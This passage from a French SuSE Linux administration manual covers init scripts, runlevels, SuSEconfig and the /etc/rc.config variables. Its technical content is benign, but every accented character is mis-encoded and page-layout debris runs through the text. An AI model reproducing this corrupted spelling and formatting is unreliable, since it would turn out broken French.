Si vous passez au niveau d'exΘcution dans lequel vous vous trouvez dΘjα, init
ne lit que son fichier /etc/inittab, vΘrifie s'il y a eu des modifications et
prend le cas ΘchΘant les mesures qui s'imposent (par exemple lancement d'un
getty sur une autre interface).
17.4 Les scripts init
Concept Les scripts sous /sbin/init.d se divisent en deux catΘgories :
~ Les scripts qui sont directement lancΘs par init : Ceci ne se produit qu'au
moment de l'amorτage ou lorsque le systΦme est brusquement arrΩtΘ (par
suite d'une panne_de_courant_ou_si l'utilisateur_appuie sur la combinaison
de touches |C______|trl+ |A____l|t+ |S_______u|ppr).
~ Les scripts qui sont indirectement lancΘs par init : Cela arrive lors d'un
changement de niveau d'exΘcution. Ici, c'est en rΦgle gΘnΘrale le script
supΘrieur /sbin/init.d/rc qui sera exΘcutΘ et qui fera en sorte que les scripts
qui ont un r⌠le α jouer soient lancΘs dans un ordre correct.
Tous les scripts se trouvent sous /sbin/init.d. Les scripts pour le chan-
gement de niveau d'exΘcution sont Θgalement dans ce repΘrtoire mais ils
sont invoquΘs en tant que liens symboliques provenant des sous-rΘpertoires
/sbin/init.d/rc0.d α /sbin/init.d/rc6.d. Ceci permet d'y voir plus
clair et il n'est pas ainsi nΘcessaire que les scripts soient prΘsents en plu-
sieurs exemplaires s'ils doivent Ωtre utilisΘs dans diffΘrents niveaux d'exΘcu-
tion. Comme chacun de ces scripts peut Ωtre lancΘ aussi bien comme script de
dΘmarrage que comme script d'arrΩt, ils doivent tous pouvoir comprendre les
deux paramΦtres possibles start et stop .
Exemple Le script /sbin/init.d/rc2.d/K40network est lancΘ lorsque l'on quitte
le runlevel 2 ; /sbin/init.d/rc lance le script /sbin/init.d/network
avec le paramΦtre stop . Lorsque l'on passe au runlevel 3, c'est le mΩme script
qui est lancΘ mais cette fois-ci avec le paramΦtre start .
Les liens dans les diffΘrents sous-rΘpertoires spΘcifiques aux niveaux d'exΘ-
cution ne servent donc qu'α permettre d'attribuer chacun des scripts α certains
niveaux d'exΘcution.
Boot et Dans ce qui va suivre, vous trouverez une brΦve description des premiers et
Shutdown des derniers scripts d'amorτage et d'arrΩt ainsi que du script de commande :
~ boot
Il est exΘcutΘ au dΘmarrage du systΦme et lancΘ directement par init . Il est
indΘpendant du niveau d'exΘcution par dΘfaut que l'on souhaite et n'est
exΘcutΘ qu'une seule et unique fois. Ici, le dΘmon kerneld qui assure le
448
____________________________________________________________________________________________________17.4.__Les_scripts_init_*
*______________________
chargement automatique des modules du noyau est lancΘ. Les systΦmes
de fichiers sont vΘrifiΘs, d'Θventuels fichiers superflus sous /var/lock
sont effacΘs et le rΘseau pour le pΘriphΘrique loopback est configurΘ dans
la mesure ou ceci est indiquΘ dans /etc/rc.config. En outre, l'horloge
du systΦme est rΘglΘe et le matΘriel Plug-and-Play est configurΘ avec les
outils isapnp (voir paragraphe 10.2.1 page 294).
Si lors de la vΘrification et de la restauration automatiques des systΦmes de
fichiers il se produit une grave erreur, l'administrateur systΦme a la possi-
bilitΘ, aprΦs avoir tapΘ le mot de passe root, de rΘsoudre manuellement le
problΦme.
Le rΘpertoire /sbin/init.d/boot.d est en outre attribuΘ α ce script.
Tous les scripts commenτant par `S' qui ont ΘtΘ trouvΘs dans ce rΘper-
toire sont exΘcutΘs automatiquement lors du dΘmarrage du systΦme. C'est
l'emplacement idΘal pour vos propres extensions qui ne doivent Ωtre acti-
vΘes qu'une seule fois lors du dΘmarrage.
Le script boot.local sera exΘcutΘ en dernier.
~ boot.local
Il est possible d'indiquer ici d'autres actions qui devront se faire avant
que le systΦme ne change de niveau d'exΘcution ; de par ses fonctions, il
est plus ou moins comparable au fichier AUTOEXEC.BAT bien connu sous
DOS.
~ boot.setup
Configurations de base α effectuer si l'on passe du mode mono-utilisateur
dans n'importe quel autre niveau d'exΘcution.
La disposition du clavier et la configuration de la console sont chargΘes
ici.
~ halt
Ce script n'est exΘcutΘ que lors de l'entrΘe dans le runlevel 0 ou 6. Il est
lancΘ soit sous le nom halt, soit sous le nom reboot. Selon le nom sous
lequel halt a ΘtΘ lancΘ, le systΦme sera soit redΘmarrΘ, soit complΦtement
arrΩtΘ.
~ rc
C'est le script principal qui est lancΘ α chaque changement de niveau
d'exΘcution. Il exΘcute les scripts d'arrΩt du niveau d'exΘcution que l'on
quitte et ensuite les scripts de dΘmarrage du nouveau niveau d'exΘcution.
Vous pouvez, α l'aide de ce concept, ajouter vos propres scripts ; le fichier Scripts
/sbin/init.d/skeleton vous en fournit la charpente. Pour diriger l'exΘ- personnels
cution d'un script au moyen de /etc/rc.config, il est nΘcessaire d'y posi-
tionner une variable <START`> qui sera utilisΘe dans votre propre script.
Des paramΦtres supplΘmentaires ne devraient Ωtre ajoutΘs dans /etc/rc.
config que dans certains cas particuliers o∙ cela est justifiΘ (voir par exemple
le script /sbin/init.d/gpm).
Vous devez maintenant crΘer des liens pointant du rΘpertoire rc correspondant
sur le nouveau script afin que celui-ci ~ comme il a ΘtΘ dΘcrit plus haut (pa-
ragraphe 17.3 page 447) ~ soit exΘcutΘ lors du changement de niveau d'exΘ-
cution ; c'est lα que les noms α donner aux liens sont explicitΘs. Les dΘtails
techniques sont exposΘs dans la page de man de init.d (man 7 init.d ).
*
* 449
17. Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| Vous devez vous montrer extrΩmement prudent en crΘant vos propres *
* ||||
|| scripts ~ un script erronΘ est capable de ``planter'' votre machine. Voir plus *
* ||||
| haut paragraphe 17.2 page 446 au cas o∙ plus rien ne fonctionnerait : : : *
* ||||
|_______________________________________________________________________________________________________*
*________|||_
17.5 /etc/rc.config et SuSEconfig
La quasi-totalitΘ de la configuration de SuSE Linux peut Ωtre rΘalisΘe au
moyen du fichier de configuration central /etc/rc.config. Ce fichier
contient toute une sΘrie de variables d'environnement qui sont utilisΘes, entre
autre, par les scripts init. Chacun des scripts sous /sbin/init.d charge en
premier le fichier /etc/rc.config pour reprendre les valeurs actuellement
valides des diffΘrentes variables.
________________________________________________________________________________________________________*
*________||
| Depuis la version 6.0 de SuSE Linux, les paquetages offrant des possibi- *
* ||||
| *
* |||
| litΘs Θtendues de configuration stockent leurs variables dans des fichiers *
* |||
| situΘs dans le rΘpertoire /etc/rc.config.d. C'est le cas par exemple du *
* |||
| *
* |||
| paquetage i4l (ISDN). Par la suite il ne sera plus parlΘ, pour simplifier, *
* |||
| que de /etc/rc.config bien qu'il s'agisse de variables qui ont ΘtΘ trans- *
* |||
| *
* |||
| fΘrΘes dans des fichiers situΘs sous /etc/rc.config.d ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Outre cela, il est possible de gΘnΘrer de nombreux autres fichiers de configura-
tion systΦme en relation avec /etc/rc.config. Cette tΓche est assumΘe par
/sbin/SuSEconfig . Ainsi par exemple, aprΦs une modification de la configu-
ration rΘseau, le fichier /etc/resolv.conf sera recrΘΘ car il est dΘpendant
du type de la configuration.
Si vous apportez donc des modifications α /etc/rc.config, vous devrez
toujours ensuite lancer SuSEconfig pour vous assurer que vos configurations
sont effectives α tous les emplacements essentiels. Si vous modifiez la confi-
guration avec YaST , vous n'aurez pas besoin de vous en occuper vous-mΩme.
YaST lance automatiquement SuSEconfig , ce qui a pour effet de mettre α jour
les fichiers concernΘs.
Ce concept vous permet d'apporter des modifications fondamentales α la
configuration de votre machine sans Ωtre obligΘ de la rΘamorcer. Comme cer-
tains paramΘtrages changent radicalement beaucoup de choses, il est toutefois
possible que vous deviez relancer certains programmes afin que ces modifica-
tions soient prises en compte. Cette procΘdure est dΘcrite par exemple au para-
graphe concernant la configuration du rΘseau (voir paragraphe 5.2 page 158)
qui montre que l'utilisation de la commande
terre: # /sbin/init.d/network stop
terre: # /sbin/init.d/network start
provoque le redΘmarrage des programmes concernΘs par la modification.
Ainsi que vous pouvez le constater, il est possible de lancer manuellement
les scripts init.
En rΦgle gΘnΘrale, il est recommandΘ, pour la configuration du systΦme,
d'adopter la mΘthode suivante :
~ Mettez votre systΦme en ``mode mono-utilisateur'' :
terre: # init S
450
_______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems_________*
*______________________
Vous avez aussi l'alternative d'utiliser le runlevel 1 qui vous donne en
outre la possibilitΘ de vous connecter sur plusieurs consoles :
terre: # init 1
~ Apportez au fichier de configuration /etc/rc.config les modifications
que vous souhaitez. Ceci peut se faire α l'aide de n'importe quel Θdi-
teur ou avec YaST sous l'option du menu `Modifier le fichier de
configuration' (voir paragraphe 17.6).
~ ExΘcutez SuSEconfig afin que les modifications soient prises en compte
dans les diffΘrents autres fichiers de configuration. Cela se fait automati-
quement si vous avez modifiΘ le fichier /etc/rc.config avec YaST .
~ Ramenez votre systΦme dans son niveau d'exΘcution prΘcΘdent :
terre: # init 2
Cette procΘdure n'est bien s√r nΘcessaire que si vous avez apportΘ des modi-
fications radicales α la configuration de votre systΦme (par exemple configu-
ration rΘseau). Lorsqu'il s'agit de tΓches simples, il n'est pas indispensable,
pour l'administration, de passer en ``mode mono-utilisateur''. Vous pouvez
toutefois vous assurer ainsi que vraiment tous les programmes concernΘs par
la modification sont relancΘs.
_______________________________________________________________________________________________________________________||
|||||||| Pour dΘsactiver radicalement la configuration automatique via SuSEcon- ||| |
|||||||| || |
|||||||| fig , vous pouvez positionner la variable <ENABLE`SUSECONFIG> || |
|||||||| dans le fichier /etc/rc.config (voir cependant l'avertissement α la prΘ- || |
|||||||| || |
|||||||| sente page). Il est Θgalement possible, au moyen de variables rc.config || |
|||||||| appropriΘes ``d'invalider'' seulement partiellement la configuration auto- || |
|||||||| || |
|||||||| matique. || |
||||||||_______________________________________________________________________________________________________________||_
17.6 Les variables /etc/rc.config
Ce qui suit est une brΦve description des diffΘrents paramΦtes du systΦme et
de leur configuration. Si vous ne manipulez pas les fichiers de configuration
/etc/rc.config avec YaST , prenez soin d'Θcrire un paramΦtre vide sous
forme de deux caractΦres de guillemets α la suite l'un de l'autre (par exemple
KEYTABLE="" ) et de mettre entre guillemets les paramΦtres contenant des
espaces. Pour les variables qui ne sont composΘes que d'un seul mot, les
guillemets ne sont pas nΘcessaires.
Dans la description qui suit, chaque paramΦtre a ΘtΘ pourvu d'une valeur afin
de rendre plus claires, α l'aide de cet exemple, les configurations possibles.
Configurations de base
~ ENABLE_SUSECONFIG=yes
DΘtermine si SuSEconfig doit se charger de la configuration. └ ne dΘsac-
tiver en aucun cas si vous voulez bΘnΘficier des services de l'Assistance
Technique α l'Installation ;-)
~ MAIL_REPORTS_TO=tux
DΘtermine α qui SuSEconfig doit envoyer par E-mail des rapports sur
l'administration du systΦme.
*
* 451
17. Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
~ GMT=-u
Si votre horloge matΘrielle est rΘglΘe sur GMT (Greenwich Mean Time),
positionnez cette variable α -u 4 , sinon laissez-la vide. Cette configuration
est essentielle pour le passage automatique de l'heure d'ΘtΘ α l'heure
d'hiver et vice versa.
~ TIMEZONE=CET
La zone horaire dans laquelle vous habitez ou dans laquelle vous utilisez
votre machine. Essentielle aussi pour le passage automatique de l'heure
d'ΘtΘ α l'heure d'hiver et vice versa.
~ LANGUAGE="french"
Cette variable est positionnΘe par YaST lorsqu'une modification a lieu
avec `DΘterminer la langue' (voir paragraphe 3.3.1 page 83). Cette
valeur est considΘrΘe comme ``fallback'' lorsque LANG ou les variables
LC_* ne sont pas positionnΘes (voir ci-dessous). Dans un tel cas, la va-
leur ici indiquΘe est dΘfinie au moyen du fichier /usr/share/locale/
locale.alias.
~ RC_LANG="de_DE"
Positionne LANG pour locale . On peut ici dΘterminer une valeur par dΘfaut
pour les utilisateurs locaux. Cette valeur reste effective aussi longtemps
qu'il n'est pas utilisΘ de variables spΘciales RC_LC_* .
Les variables rc.config sont : RC_LC_ALL (elles peuvent Θcra-
ser les variables LC_* et LANG !), RC_LC_MESSAGES , RC_LC_CTYPE ,
RC_LC_MONETARY , RC_LC_NUMERIC , RC_LC_TIME et RC_LC_COLLATE *
* .
Voir page de man de locale (man 5 locale ).
~ ROOT_USES_LANG="no"
Les configurations de locale doivent-elles aussi Ωtre utilisΘes pour
`root' ?
~ INIT_SCRIPT_USE_LANG="no"
Utiliser locale dans les scripts init ? Ce n'est pas recommandable ;-)
~ ENABLE_SYSRQ="no"
Un coup d'oeil α l'intΘrieur du noyau. Avant utilisation, lire absolument
/usr/src/linux/Documentation/sysrq.txt !
Initialiser le matΘriel local(clavier, modem, souris, PCMCIA, etc.)
~ KEYTABLE=fr-latin1
DΘfinit la disposition des touches du clavier.
~ KBD_NUMLOCK=no
|___________|NumLockne doit pas Ωtre utilisΘe lors de l'amorτage.
~ KBDCAPSLOCK=no
|_____________|CapsLockne doit pas Ωtre utilisΘe lors de l'amorτage.
~ KBD_TTY="tty1 tty2 tty3 tty4 tty5 tty6"
|___________|NumLocket |C____________|_apsLockpeut Ωtre limitΘ α certains TTYs.
Une entrΘe ne comportant que des guillemets "" reprΘsente tous les TTYs.
_____________________________________________4
-u est une abrΘviation pour universal time.
452
_______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems___________*
*____________________
~ KBD_RATE=30
DΘtermine la vitesse de rΘpΘtition automatique du clavier. Les spΘcifica-
tions possibles sont de 2 α 30 fois par seconde. Afin que cette configura-
tion soit effective, la durΘe du dΘlai (voir KBD_DELAY ) doit Θgalement Ωtre
dΘterminΘe !
~ KBD_DELAY=250
Vous pouvez spΘcifier ici le dΘlai aprΦs lequel la fonction automatique de
rΘpΘtition entre en jeu. La valeur est indiquΘe en milliΦmes de seconde,
mais l'Θchelle n'est pas trΦs prΘcise. Vous devez Θgalement configurer
KBD_RATE !
~ CONSOLE_FONT=mr.fnt
La police de caractΦres chargΘe pour la console. Les caractΦres accen-
tuΘs ne sont pas supportΘs par toutes les polices ! Avec YaST , vous
pouvez essayez facilement plusieurs polices de caractΦres et choisir
celle qui vous convient le mieux. Les paramΦtres supplΘmentaires sont :
CONSOLE_SCREENMAP , CONSOLE_UNICODEMAP et CONSOLE_MAGIC .
~ MODEM=/dev/ttyS1
L'interface α laquelle le modem est connectΘ. YaST ou SuSEconfig Θdite
un lien pointant de /dev/modem sur le pΘriphΘrique spΘcifiΘ.
~ MOUSE=/dev/ttyS2
L'interface α laquelle la souris est connectΘe. YaST ou SuSEconfig Θdite
un lien pointant de /dev/mouse sur le pΘriphΘrique spΘcifiΘ.
~ START_GPM=yes
Contr⌠le si le support souris pour la console est dΘmarrΘ. Il est ainsi
possible, avec la souris, d'Θchanger du texte entre les diffΘrentes consoles
virtuelles. Gpm pose des problΦmes en relation avec certaines souris bus.
Si la souris vous crΘe des difficultΘs lorsque vous utilisez X, vous devriez
empΩcher le lancement de gpm . Ou alors utilisez simplement xdm car
dans le runlevel 3 gpm n'est, par principe, jamais lancΘ.
~ GPM_PARAM=" -t logi -m /dev/mouse"
Le paramΦtre de dΘmarrage pour gpm . C'est normalement YaST qui s'en
charge.
~ PCMCIA=i82365
Sert α dΘfinir le chipset ; les valeurs sont i82365 ou tcic . Si la variable
est positionnΘe α "" le sous-systΦme PCMCIA n'est pas dΘmarrΘ. Il est
possible d'affiner la configuration avec les variables PCMCIA_PCIC_OPTS
et PCMCIA_CORE_OPTS .
~ START_ISAPNP=yes
Initialiser ISA PnP lors de l'amorτage.
~ INITRD_MODULES="aic7xxx"
Les noms des modules qui doivent Ωtre chargΘs pendant l'amorτage du
noyau afin de permettre par exemple l'accΦs au disque dur. Les entrΘes
utiles et indispensables sont faites au cours de l'installation ou de la mise
α jour. Voir le paragraphe 16.2 page 424.
~ START_KERNELD=yes
Cette variable contr⌠le si le dΘmon kerneld est lancΘ automatiquement au
*
* 453
17. Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
moment de l'amorτage du noyau 2.0.xx. Ce dΘmon fait en sorte que les
modules du noyau soient chargΘs automatiquement lorsqu'ils sont requis.
Avec le noyau standard actuel 2.2.xx, kerneld n'est plus nΘcessaire. Vous
trouverez au paragraphe 13.2 page 361 une brΦve introduction au concept
des modules.
DΘmarrer et configurer les services rΘseau et les services locaux
~ START_LOOPBACK=yes
DΘtermine si une sorte de mini-rΘseau doit Ωtre installΘ par la configura-
tion du pΘriphΘrique dit loopback. Comme de nombreux programmes ont
besoin de cette fonctionnalitΘ, elle devrait absolument Ωtre activΘe5 .
~ CHECK_ETC_HOSTS=yes
DΘtermine si SuSEconfig doit vΘrifier /etc/hosts et le cas ΘchΘant le
modifier.
~ BEAUTIFY_ETC_HOSTS=no
Dans le cas o∙ le contenu de /etc/hosts doit Ωtre classΘ.
~ SETUPDUMMYDEV=no
DΘtermine si le pseudo pΘriphΘrique (dummy device) doit Ωtre configurΘ ;
utile dans le cas de connexions rΘseau non permanentes (par exemple
SLIP ou PPP). C'est parfois gΩnant si vous avez une carte Ethernet.
~ CREATE_HOSTCONF=yes
DΘtermine si SuSEconfig doit vΘrifier /etc/host.conf et le cas ΘchΘant
le modifier.
~ CREATE_RESOLVCONF=yes
DΘtermine si SuSEconfig doit vΘrifier /etc/resolv.conf et le cas
ΘchΘant le modifier. Si cette variable est positionnΘe α yes et si l'une
des variables LISTE_DE_RECHERCHE ou SERVEUR_DE_NOMS est vide, on
prΘsume que vous ne voulez pas de serveur de noms de domaines et que
/etc/resolv.conf peut Ωtre effacΘ. Si cette variable est positionnΘe α
no , /etc/resolv.conf demeure inchangΘ.
~ NETCONFIG=_0
Indique le nombre de cartes rΘseau (ou autres pΘriphΘriques rΘseau) que
la machine possΦde. Ceci est un exemple pour une carte rΘseau (elles
sont numΘrotΘes α partir de 0). Dans le cas d'une machine possΘdant
deux cartes, l'entrΘe devrait Ωtre NETCONFIG="_0 _1" . Si la machine ne
possΦde pas de carte rΘseau, l'entrΘe reste vide.
~ IPADDR_0=193.141.17.202
L'adresse IP pour la premiΦre carte rΘseau.
~ NETDEV_0=eth0
Le nom du premier pΘriphΘrique rΘseau (habituellement une carte rΘseau
Ethernet, ce qui explique l'entrΘe eth0 ). D'autres entrΘes possibles sont
str1 ou plip1 . Si la machine dispose de plus d'une carte rΘseau, les va-
riables NETDEV`1 α NETDEV`3 seront renseignΘes de faτon analogue.
_____________________________________________5
Le noyau doit naturellement offrir un support rΘseau !
454
_______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems___________*
*____________________
~ IFCONFIG_0="193.141.17.205 broadcast 193.141.17.255
netmask 255.255.255.192"
La commande de configuration pour le permier pΘriphΘrique rΘseau. Les
opΘrations nΘcessaires peuvent Ωtre effectuΘes aisΘment avec YaST . Si
vous possΘdez plus d'une carte rΘseau, insΘrez ici les lignes de com-
mandes dans les autres variables.
~ CLOSE_CONNECTIONS=false
Si cette variable est positionnΘe α true et si le ``runlevel'' est 0 ou 6
(halt ou reboot ), /sbin/init.d/route envoie un SIGTERM α tous les
processus qui ont une connexion ``remote tcp'' ou ``udp'' ouverte.
~ IP_DYNIP=no
Activer le ``dynamic IP patch'' lors de l'amorτage. Si la variable est po-
sitionnΘe α yes , le script /sbin/init.d/boot active ce patch par une
entrΘe dans le systΦme de fichiers /proc.
~ IP_TCP_SYNCOOKIES=yes
Activer la protection contre les attaques ``Syn Flood'' (angl. syn flood
protection).
~ IP_FORWARD=no
Si la machine doit transmettre α travers deux interfaces rΘseau, la variable
IP_FORWARD doit Ωtre positionnΘe α yes . Ceci est gΘnΘralement souhai-
table, voire indispensable, pour un ``routeur'' ou pour ``IP Masquerade''.
Le script /sbin/init.d/boot active la fonction ``IP Forwarding'' par
une entrΘe dans le fichier /proc.
~ FQHOSTNAME=terre.cosmos.univers
Le nom d'h⌠te ``pleinement qualifiΘ'' de la machine ce qui signifie ici
``intΘgral'', c'est-α-dire le nom complet composΘ du nom d'h⌠te de la
machine et du nom du domaine.
~ SEARCHLIST=cosmos.univers
Cette entrΘe est utilisΘe pour complΘter un nom d'h⌠te qui n'est pas plei-
nement qualifiΘ. Si par exemple le nom de la machine est vΘnus, il sera
vΘrifiΘ si vΘnus.cosmos.univers est un nom de machine valide. Cette
variable doit absolument Ωtre renseignΘe si vous voulez utiliser DNS ! In-
diquez ici au moins votre nom de domaine. Vous pouvez faire jusqu'α
trois entrΘes dans la ``liste de recherche'' et elles doivent Ωtre sΘparΘes les
unes des autres par des espaces.
~ NAMESERVER=193.141.17.193
Le serveur de noms qui est interrogΘ lorsqu'il faut convertir un nom de
machine en une adresse IP. Vous pouvez spΘcifier jusqu'α trois serveurs de
noms dont les adresses sont sΘparΘes les unes des autres par des espaces.
Si vous voulez utiliser un serveur de noms, vous devez aussi renseigner la
variable SEARCHLIST !
~ ORGANIZATION="Tartempion, Trifouillis-les-Oies"
Ce texte apparaεt dans chaque message Usenet provenant de la machine
concernΘe.
~ NNTPSERVER=soleil.cosmos.univers
L'adresse du serveur de news. Si vous vous procurez vos news par UUCP
et si elles sont stockΘes localement, vous devriez entrer ici h⌠te local
*
* 455
17. Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
~ IRCSERVER=soleil.cosmos.univers
Vous pouvez spΘcifier ici plusieurs serveurs IRC (Internet Relay Chat).
Les noms des diffΘrents serveurs doivent Ωtre sΘparΘs les uns des autres
par des espaces.
~ START_INETD=yes
Active le superdΘmon inetd . Ce dΘmon rΘagit aux demandes de connexion
d'autres machines et dΘmarre, dΘpendamment du port choisi, le service
correspondant. Ceci vous est nΘcessaire si vous voulez vous connecter sur
la machine via telnet ou rlogin ~ Positionnez toutefois START_INETD α
no si xinetd doit Ωtre utilisΘ (voir prΘsente page).
~ START_XINETD=no
Active le superdΘmon xinetd , le superdΘmon inetd Θtendu (voir prΘ-
sente page). Si cet ``extended Internet services daemon'' doit Ωtre utilisΘ,
START_INETD doit Ωtre positionnΘe α no
~ SENDMAIL_xxxx=
Les variables sendmail sont explicitΘes au paragraphe 6.8 page 205.
~ START_POSTFIX=no
Active le serveur de mail postfix . S'applique aussi aux variables
POSTFIX_CREATECF , POSTFIX_RELAYHOST ,
POSTFIX_MASQUERADE_DOMAIN et POSTFIX_LOCALDOMAINS .
~ SMTP=no
DΘtermine si un dΘmon sendmail doit Ωtre lancΘ. Ceci n'est pas nΘces-
saire si vous recevez votre courrier exclusivement via UUCP α condition
que vous lanciez sendmail -q aprΦs chaque polling (le rmail lancΘ par
UUCP mettra seulement le courrier dans la file d'attente sans le distri-
buer). Dans un rΘseau o∙ les rΘpertoires de spool courrier sont montΘs
via NFS et o∙ chaque machine n'a que du courrier sortant, cette variable
peut Ωtre positionnΘe α no . Il en est de mΩme si si vous utilisez un ``Relay
Host''.
~ START_PORTMAP=no
DΘtermine si le portmapper doit Ωtre lancΘ. Vous avez besoin du portmap-
per si votre machine doit faire office de serveur NFS (voir paragraphe 5.5
page 167). Sans le portmapper, les dΘmons rpc.mountd et rpc.nfsd ne
peuvent pas tourner. Pour cette raison, le portmapper sera lancΘ si le
SERVEUR NFS est activΘ mΩme si cette variable est positionnΘe α no . Pour
l'utilisation de NIS (voir paragraphe 5.4 page 165) le portmapper est
Θgalement nΘcessaire !
~ NFS_SERVER=no
Si votre machine doit faire office de serveur NFS, cette variable doit Ωtre
positionnΘe α yes . Ceci provoque le lancement des dΘmons rpc.nfsd et
rpc.mountd . Pour une description plus dΘtaillΘe d'un serveur NFS (par
exemple pour la dΘtermination des rΘpertoires α exporter), lisez le para-
graphe 5.5 page 167.
~ REEXPORT_NFS=no
Positionnez la variable α yes pour rΘexporter des rΘpertoires NFS montΘs
ou des volumes NetWare.
456
_______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems___________*
*____________________
~ NFS_SERVER_UGID=no
Si le dΘmon (rcp.ugidd ) pour la conversion des ID utilisateurs et des ID
groupes doit Ωtre lancΘ. Ce service doit Ωtre dΘmarrΘ sur le client NFS
concernΘ.
~ USE_KERNEL_NFSD="no"
Lorsque le paquetage knfsd est installΘ, le dΘmon NFS du noyau peut
Ωtre utilisΘ. Ce dΘmon NFS rend le verrouillage possible. Voir la variable
USE_KERNEL_NFSD_NUMBER .
~ START_AMD=no
DΘmarrez le dΘmon d'automontage. Si aucune raison ne s'y oppose, vous
devriez donner la prΘfΘrence au module du noyau autofs (voir prΘsente
page).
~ START_AUTOFS=no
Avec ce dΘmon, il est possible de monter aussi bien des rΘpertoires ac-
cessibles via NFS que des rΘpertoires locaux (lecteurs de CD-ROM, dis-
quettes, etc :) en mode automatique. Le paquetage autofs, sΘrie n doit
Ωtre installΘ et configurΘ.
~ START_RWHOD=no
DΘtermine si rwhod doit Ωtre lancΘ. Attention, rwhod Θmet rΘguliΦre-
ment des ``broadcasts'' (diffusions). Ceci peut provoquer l'Θtablissement
de communications lors de connexions α la demande (ISDN et/ou diald )
~ et entraεner des dΘpenses !
~ START_ROUTED=no
Le dΘmon routed est seulement nΘcessaire pour le routage dynamique
(voir page de man de routed (man routed )). Attention, ce service pro-
voque toutes les 30 secondes un trafic rΘseau. Si la machine est connectΘe
α Internet par ligne tΘlΘphonique (dialup) (par exemple ISDN), il n'y a
aucun avantage α positionner cette variable α yes .
~ START_NSCD=yes
Initialiser NSCD (angl. Name Service Caching Daemon) lors de l'amor-
τage.
~ START_NAMED=no
DΘtermine si le dΘmon de service de noms (named ) doit Ωtre lancΘ.
~ CREATE_YP_CONF=yes
DΘtermine si SuSEconfig , en fonction des deux entrΘes suivantes, doit
gΘnΘrer automatiquement les fichiers nΘcessaires pour utiliser YP(voir
paragraphe 5.4 page 165). En outre, les fichiers /etc/passwd et /etc/
group seront adaptΘs dans la mesure o∙ ce sera encore nΘcessaire.
~ YP_DOMAINNAME=cosmos.univers
Le nom de domaine YP de la machine. Pour des informations plus dΘ-
taillΘes, reportez-vous au paragraphe 5.4 page 165.
~ YP_SERVER=soleil.cosmos.univers
Le nom du serveur NIS.
~ USE_NIS_FOR_RESOLVING=no
Utiliser NIS pour la rΘsolution des noms de machines.
*
* 457
17. Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
~ START_CIPED=no
DΘmarrer le dΘmon CIPE pour un tunnel IPIP.
~ START_DHCPD=no
DΘmarrer le serveur pour DHCP (angl. Dynamic Host Configuration
Protocol). Inclut les variables DHCPD_INTERFACE , START_DHCRELAY et
DHCRELAY_SERVERS .
~ START_LDAP=no
DΘmarrer le serveur LDAP.
~ START_RADIUSD=yes
DΘmarrer le service d'authentification et de comptabilisation du dΘmon
radius . Ce service est utilisΘ, par exemple, par certains serveurs d'accΦs
pour l'authentification de l'utilisateur. Voir la documentation sous /usr/
doc/packages/radiusd.
~ START_LPD=yes
Lancer lpd (angl. Line Printer Daemon). Ceci est en gΘnΘral indispen-
sable pour l'impression.
~ START_NNTPD=yes
Lancer nntpd , nΘcessaire pour garantir l'accΦs via NNTP au news locales.
~ START_INN=no
DΘmarrer le serveur INN .
~ START_ATD=yes
DΘtermine si le dΘmon AT (atd ) doit Ωtre lancΘ. Ce dΘmon permet de faire
exΘcuter certains jobs α un moment qui aura ΘtΘ prΘcisΘ. Contrairement au
dΘmon cron, il n'exΘcute qu'une seule fois une action dΘfinie.
~ START_HTTPD=yes
Indique si le dΘmon apache http doit Ωtre lancΘ.
~ START_HTTPSD=yes
DΘtermine si le serveur Apache httpsd (serveur web ``s√r'') doit Ωtre dΘ-
marrΘ avec SSL et PHP3.
~ START_SQUID=no
Indique si squid doit Ωtre lancΘ.
~ DOC_HOST=""
Si un serveur de documentation central mettant α disposition le systΦme
d'aide SuSE doit Ωtre utilisΘ, le nom de ce serveur devrait Ωtre indiquΘ ici,
par exemple "soleil.cosmos.univers" .
~ DOC_SERVER=no
Sur le serveur de documentation, cette variable doit Ωtre positionnΘe α
yes . D'une part, l'accΦs α http-rman sera accordΘ en fonction des spΘci-
fications dans DOC_ALLOW (voir plus bas). D'autre part les fichiers index
pour le serveur HTTP seront convertis ; ils ne pointeront plus sur http://
localhost mais sur http://`hostname-f`.http://`hostname-f`.
~ DOC_ALLOW="LOCAL"
Liste des machines/domaines, pour /etc/hosts.allow, autorisΘs α ac-
cΘder au serveur de documentation. Cette variable ne sera utilisΘe que si
DOC_SERVER est positionnΘe α yes . On peut Θgalement indiquer ici un
sous-domaine (par exemple avec ".cosmos.univers" )
458
_______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems___________*
*____________________
~ HTTP_PROXY=""
Quelques programmes (par exemple lynx , arena ou wget ) peuvent utiliser
des serveurs proxy si cette variable d'environnement est positionnΘe en
consΘquence. SuSEconfig peut la positionner dans /etc/SuSEconfig/*
(voir dans la SDB http://sdb.suse.de/sdb/en/html/lynx_proxy.
html). Exemple :
"http ://proxy.provider.de :3128/" .
~ FTP_PROXY=""
Proxy pour FTP. Exemple : "http ://proxy.provider.de :3128/" .
~ GOPHER_PROXY=""
Proxy pour Gopher. Exemple : "http ://proxy.provider.de :3128/" .
~ NO_PROXY=""
Cette variable permet d'exclure certains (sous-)domaines du proxy.
Exemple : "www.me.de, do.main, localhost" .
~ START_HYLAFAX=no
DΘmarre Hylafax. Avant que cette variable ne soit positionnΘe α yes ,
faxsetup doit Ωtre exΘcutΘ.
~ START_SMB=no
DΘmarre le serveur Samba ; serveur de fichiers et d'imprimantes Win-
dows.
~ START_MARSNWE=no
Indique si l'Θmulation du serveur Novell doit Ωtre dΘmarrΘe.
~ START_SSHD=yes
Lancez le ``dΘmon Secure Shell'' et assurez-vous auparavant qu'il existe
une clΘ dite ``host key'' ~ voir α ce sujet la documentation sous /usr/doc/
packages/ssh ainsi que les pages de man.
~ START_XNTPD=yes
Lance le ``dΘmon Network Time Protocol (NTP)'' provenant du paquetage
xntp ; la configuration elle-mΩme se fait α travers le fichier /etc/ntp.
conf.
